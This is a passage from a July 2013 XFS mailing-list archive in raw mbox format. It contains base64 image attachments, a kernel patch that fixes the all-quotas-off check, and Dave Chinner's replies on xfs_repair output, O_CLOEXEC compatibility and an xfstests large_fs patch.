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 ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: image/gif; name="02picto.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhMgAyAMQAAPDFttVXLf////XUyu67qvrr5uurl956Wfnj3dBDFeSTeOCFZ9prRvfd1dhj PNZcM88+DuedheikjeKNcdtvTP318swzANNNIc03Bfvw7P349v77+uyyn8w1Av78+846CSH5BAAA AAAALAAAAAAyADIAAAX/oCWOZGmeaKqubOu+cCzPdG3fOB48D5bDiQUgIygWNwBF4JdiDIzQqABx YJIcT2ljMNhoKdYJVAM4JEoYiqEA5UByBOPGcFZhFsQi4nEDGAEXLxASRhV8NIRFETMUGkUDNAdG EzUOjgIcMg9GmTaSRWAwWQM+N4kIMAFHSzgQbAJVLgZFnTkLei+vrCZGuxa9Jxi6LQ64KMAjyCaz ApQsCkUSKcq/Rb4kFEUALX4CoSfU1CQfRRotWYfg1iTiJBVFbyuvdeoCvu0jDesrRirh+yeyOGCR hx4vgNXspdCncAWCIoGOIcQnYh6LOLCmTURIIkGRDC3EYNLYUATFT9tYnlz4WOpgyYTXRmBc4IIh A4kv8UG4ZFAFNAGQfiQK2iLBpVg3LnjxBuOWgAI9ZWDoRtRFh4dAP9hIJGBgDAZGCGidIbIZDadA o67AwIGTjQhGCiBlESCLgJQ20AK9qSIAxmg/GGAtUoDDgQeBEjxgEGGwAA80mXyY4EGKZSMGYuZI 0Phy3MxWUFyYQGDAwwwDkngNzbq169ewY8ueTSMEADs= ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425-- From sekharan@us.ibm.com Wed Jul 10 18:00:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 665837F3F for ; Wed, 10 Jul 2013 18:00:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 525F48F8035 for ; Wed, 10 Jul 2013 16:00:42 -0700 (PDT) X-ASG-Debug-ID: 1373497241-04cbb0468edc1150001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id hjhcF0wBV8gN5ndg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 16:00:41 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 17:00:41 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 17:00:39 -0600 Received: from d01relay03.pok.ibm.com (d01relay03.pok.ibm.com [9.56.227.235]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id 5DAA238C804D for ; Wed, 10 Jul 2013 19:00:37 -0400 (EDT) Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64]) by d01relay03.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6AN0cTL373284 for ; Wed, 10 Jul 2013 19:00:38 -0400 Received: from d01av04.pok.ibm.com (loopback [127.0.0.1]) by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6AN0bWZ019036 for ; Wed, 10 Jul 2013 19:00:37 -0400 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6AN0b7H019017 for ; Wed, 10 Jul 2013 19:00:37 -0400 Subject: [PATCH] xfs: Fix the logic check for all quotas being turned off From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Fix the logic check for all quotas being turned off Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 10 Jul 2013 18:00:36 -0500 Message-ID: <1373497236.6020.36.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071023-3620-0000-0000-000003794FB7 X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1373497241 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 During the review of seperate pquota inode patches, David noticed that the test to detect all quotas being turned off was incorrect, and hence the block was not freeing all the quota information. The check made sense in Irix, but in Linux, quota is turned off one at a time, which makes the test invalid for Linux. This problem existed since XFS was ported to Linux. David suggested to fix the problem by detecting when all quotas are turned off by checking m_qflags. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_qm_syscalls.c | 5 ++--- fs/xfs/xfs_quota.h | 8 -------- 2 files changed, 2 insertions(+), 11 deletions(-) diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index a08801a..09a45af 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -198,10 +198,9 @@ xfs_qm_scall_quotaoff( } /* - * If quotas is completely disabled, close shop. + * If all quotas are completely turned off, close shop. */ - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { + if (mp->m_qflags == 0) { mutex_unlock(&q->qi_quotaofflock); xfs_qm_destroy_quotainfo(mp); return (0); diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 40d508b..69e3edf 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -301,14 +301,6 @@ typedef struct xfs_qoff_logformat { (XFS_IS_PQUOTA_ON(mp) && \ (mp->m_sb.sb_qflags & XFS_PQUOTA_CHKD) == 0)) -#define XFS_MOUNT_QUOTA_SET1 (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_GQUOTA_ACCT|\ - XFS_GQUOTA_ENFD|XFS_GQUOTA_CHKD) - -#define XFS_MOUNT_QUOTA_SET2 (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_PQUOTA_ACCT|\ - XFS_PQUOTA_ENFD|XFS_PQUOTA_CHKD) - #define XFS_MOUNT_QUOTA_ALL (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ XFS_UQUOTA_CHKD|XFS_GQUOTA_ACCT|\ XFS_GQUOTA_ENFD|XFS_GQUOTA_CHKD|\ -- 1.7.1 From david@fromorbit.com Wed Jul 10 19:31:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AFD2E7F3F for ; Wed, 10 Jul 2013 19:31:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9AB738F8035 for ; Wed, 10 Jul 2013 17:31:30 -0700 (PDT) X-ASG-Debug-ID: 1373502688-04cb6c2a46b13be0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id SQ60tVUGNa89CQwF for ; Wed, 10 Jul 2013 17:31:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAKj73VF5LD3k/2dsb2JhbABagwmDH7lThSwEAYEOF3SCIwEBBTocIxAIAxgJJQ8FJQMhE4gOt1YWjjCBHQeDdQOXWZFLgyMq Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:01:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux4n4-00006o-MB; Thu, 11 Jul 2013 10:31:22 +1000 Date: Thu, 11 Jul 2013 10:31:22 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711003122.GR3438@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130710090634.GA356@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373502688 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136403 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 11:06:34AM +0200, Markus Trippelsdorf wrote: > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > corrupted: I don't see any corruption being repaired.... > > # xfs_repair /dev/sdc2 > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > agi unlinked bucket 6 is 682886 in ag 3 (inode=101346182) > agi unlinked bucket 7 is 11335 in ag 3 (inode=100674631) > agi unlinked bucket 10 is 682890 in ag 3 (inode=101346186) > agi unlinked bucket 21 is 981 in ag 3 (inode=100664277) > agi unlinked bucket 23 is 5704343 in ag 3 (inode=106367639) > agi unlinked bucket 29 is 211421 in ag 3 (inode=100874717) > agi unlinked bucket 31 is 7681375 in ag 3 (inode=108344671) > agi unlinked bucket 34 is 3480162 in ag 3 (inode=104143458) > agi unlinked bucket 40 is 211432 in ag 3 (inode=100874728) > agi unlinked bucket 41 is 2704937 in ag 3 (inode=103368233) > agi unlinked bucket 45 is 594669 in ag 3 (inode=101257965) > agi unlinked bucket 62 is 11902 in ag 3 (inode=100675198) That's a filesystem that has unlinked inodes on the unlinked list. They get cleaned up during log replay. All the other "errors" are related to cleaning these up.... So what is making you think there is a corruption? What's the error being reported when you are using the filesystem? i.e. what's the entire process you go through before you get to finding this problem? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 19:36:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1AD5A7F3F for ; Wed, 10 Jul 2013 19:36:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D98498F8035 for ; Wed, 10 Jul 2013 17:36:36 -0700 (PDT) X-ASG-Debug-ID: 1373502994-04cbb04690dc5890001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Jbvyj4f6OyoAhlss for ; Wed, 10 Jul 2013 17:36:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgonAM/83VF5LD3k/2dsb2JhbABagwkygm2qfQKOVIUsBAGBDhd0giMBAQUyASMjEAgDDgoJJQ8FJQMhE4gODbdJFox6gQgugR0Hg3UDl1mBKoh4hymDIyo Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:06:31 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux4s1-00007e-HG; Thu, 11 Jul 2013 10:36:29 +1000 Date: Thu, 11 Jul 2013 10:36:29 +1000 From: Dave Chinner To: Yann Droneaud Cc: Ben Myers , linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Message-ID: <20130711003629.GS3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() References: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> <20130708224133.GA23250@sgi.com> <20130709205321.GV20932@sgi.com> <70a3a6971c3127226563e9538ae53bec@meuh.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <70a3a6971c3127226563e9538ae53bec@meuh.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373502994 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136403 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 12:00:57PM +0200, Yann Droneaud wrote: > Hi, > > Le 09.07.2013 22:53, Ben Myers a crit: > >On Mon, Jul 08, 2013 at 05:41:33PM -0500, Ben Myers wrote: > >>On Tue, Jul 02, 2013 at 06:39:34PM +0200, Yann Droneaud wrote: > > >>> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > >>> index 5e99968..dc5b659 100644 > >>> --- a/fs/xfs/xfs_ioctl.c > >>> +++ b/fs/xfs/xfs_ioctl.c > >>> @@ -248,7 +248,7 @@ xfs_open_by_handle( > >>> goto out_dput; > >>> } > >>> > >>> - fd = get_unused_fd(); > >>> + fd = get_unused_fd_flags(0); > >> > >>O_CLOEXEC should be fine in this case. > >> > >>Reviewed-by: Ben Myers > > > >Applied at git://oss.sgi.com/xfs/xfs.git. Looks like I was wrong about > >O_CLOEXEC being ok here. There may be applications which > >open_by_handle then > >fork/exec and expect to still be able to use that file descriptor. > > > > OK, it's very important to not cause regression here. > > For the record, xfs_open_by_handle() is not related to > open_by_handle_at() syscall. > > It's an ioctl (XFS_IOC_OPEN_BY_HANDLE) which is used by xfsprogs's > libhandle > in functions open_by_fshandle() and open_by_handle(). > > http://sources.debian.net/src/xfsprogs/3.1.9/libhandle/handle.c?hl=284#L284 > http://sources.debian.net/src/xfsprogs/3.1.9/libhandle/handle.c?hl=308#L308 > > According to codesearch.debian.org, libhandle's open_by_handle() is > only used > by xfsdump > > http://sources.debian.net/src/xfsdump/3.1.1/restore/tree.c?hl=2534#L2534 > > So there's no many *known* users of this features ... but it's more > important > not to break *unknown* users of it. There are commercial products (i.e. proprietary, closed source) that use it. SGI has one (DMF) and there are a couple of other backup programs that have used it in the past, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Wed Jul 10 19:37:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B9117F3F for ; Wed, 10 Jul 2013 19:37:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A58030404E for ; Wed, 10 Jul 2013 17:37:24 -0700 (PDT) X-ASG-Debug-ID: 1373503042-04bdf0233fdd57d0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id GIp7QILGKAzeisAB for ; Wed, 10 Jul 2013 17:37:22 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 7FF216C1B1 for ; Wed, 10 Jul 2013 19:37:22 -0500 (CDT) Message-ID: <51DDFE44.9000606@hardwarefreak.com> Date: Wed, 10 Jul 2013 19:37:24 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130710090634.GA356@x4> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373503042 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/10/2013 4:06 AM, Markus Trippelsdorf wrote: > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > corrupted: ... > My root fs lives on a small SSD: > > /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) > /dev/root xfs 30G 15G 16G 50% / Does your SSD honor barriers and cache flushes? -- Stan From david@fromorbit.com Wed Jul 10 19:55:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 92FAB7F3F for ; Wed, 10 Jul 2013 19:55:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 17999AC002 for ; Wed, 10 Jul 2013 17:54:58 -0700 (PDT) X-ASG-Debug-ID: 1373504095-04cb6c2a47b150c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id OtVKfkq7yLFBIDJ9 for ; Wed, 10 Jul 2013 17:54:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAIUB3lF5LD3k/2dsb2JhbABagwmDH7lThSwEAYEOF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDrdKFo4wgR0Hg3UDl1mKIocpgyMq Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:24:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux59q-0000AB-Dd; Thu, 11 Jul 2013 10:54:54 +1000 Date: Thu, 11 Jul 2013 10:54:54 +1000 From: Dave Chinner To: Dmitry Monakhov Cc: xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com Subject: Re: [PATCH 1/4] large-fs: fix large_fs space detection Message-ID: <20130711005454.GT3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/4] large-fs: fix large_fs space detection References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373504095 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136405 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 03:05:15PM +0400, Dmitry Monakhov wrote: > Currenly large_fs check compare $SCRATCH_DEV_EMPTY_SPACE and $fs_size > which is not correct because total empty size required is $SCRATCH_DEV_EMPTY_SPACE + 50Gb > This path fix space detection, so check becomes valid for all situations. I'm not sure what problem you're fixing from this description? It's takenme a few minutes to work out that: "If SCRATCH_DEV_EMPTY_SPACE + 50GB is larger than the filesystem size being tested, then the configuration being tested is invalid and should fail. Currently we only check that SCRATCH_DEV_EMPTY_SPACE is greater than the the filesystem size. 